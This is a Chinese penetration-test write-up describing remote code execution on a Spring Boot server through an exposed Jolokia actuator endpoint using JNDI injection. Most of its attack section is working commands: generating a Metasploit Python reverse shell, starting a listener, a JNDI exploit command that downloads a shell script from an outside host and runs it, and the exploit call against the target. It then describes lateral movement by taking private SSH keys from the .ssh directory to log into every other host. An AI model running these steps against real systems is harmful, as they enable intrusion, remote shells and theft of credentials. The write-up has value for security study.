0x01 引言
在一个阳光明媚的下午,接到一个渗透测试项目。经过一波资产收集,发现一处jolokia,存在 type=MBeanFactory 和 createJNDIRealm。
https://api.example.com//actuator/jolokia/list
你没看错,这个资源必须//才能访问到。

0x02 一波三折的RCE
1. 本着面向github渗透,利用公开的poc打了一波。

引用:https://github.com/LandGrey/SpringBootVulExploit#0x05jolokia-realm-jndi-rce
发现一个问题, marshalsec 接收到了目标请求,但是目标没有请求 JNDIObject.class,大概率是因为目标环境的 jdk 版本太高,导致 JNDI 利用失败。
2. 继续面向github渗透,利用https://github.com/welk1n/JNDI-Injection-Exploitjing 进行高版本JDK的JNDI注入。
1)生成msf的python反弹shell
msfvenom -p cmd/unix/reverse_python LHOST=1.1.1,1 LPORT=80 -f raw -o shell.py
2)启动Listener
msfconsole -q -x "use multi/handler; set payload cmd/unix/reverse_python; set lhost 1.1.1,1; set lport 80; exploit"

3) 下载恶意脚本
启动 JNDI-Injection-Exploit:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl -L http://x.x.x.x:30001/shell.py -o /tmp/.shell.py" -A "1.1.1.1"

利用springboot-realm-jndi-rce.py发送恶意paylaod:
python3 springboot-realm-jndi-rce2.py http://api.example.com//actuator/jolokia rmi://1.1.1.1:1099/mswuvw
恶意类选用Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath)
4) 执行命令改成 "/usr/bin/python /tmp/.shell.py",重复第三步操作。
5) 反弹shell成功

0x03 后渗透
这台机子既是一台开发机,也是一台线上生产机。内网横向也比较简单,上去查看.ssh目录下known_hosts和id_rsa,利用私钥逐一登陆就行。重复上述操作,基本上可以控制全部主机。
0x04 参考
1. https://www.revshells.com
2. https://github.com/welk1n/JNDI-Injection-Exploit
3. https://github.com/LandGrey/SpringBootVulExploit#0x05jolokia-realm-jndi-rce
4. https://github.com/LandGrey/SpringBootVulExploit/blob/master/codebase/springboot-realm-jndi-rce.py
本文迁移自知识星球“火线Zone”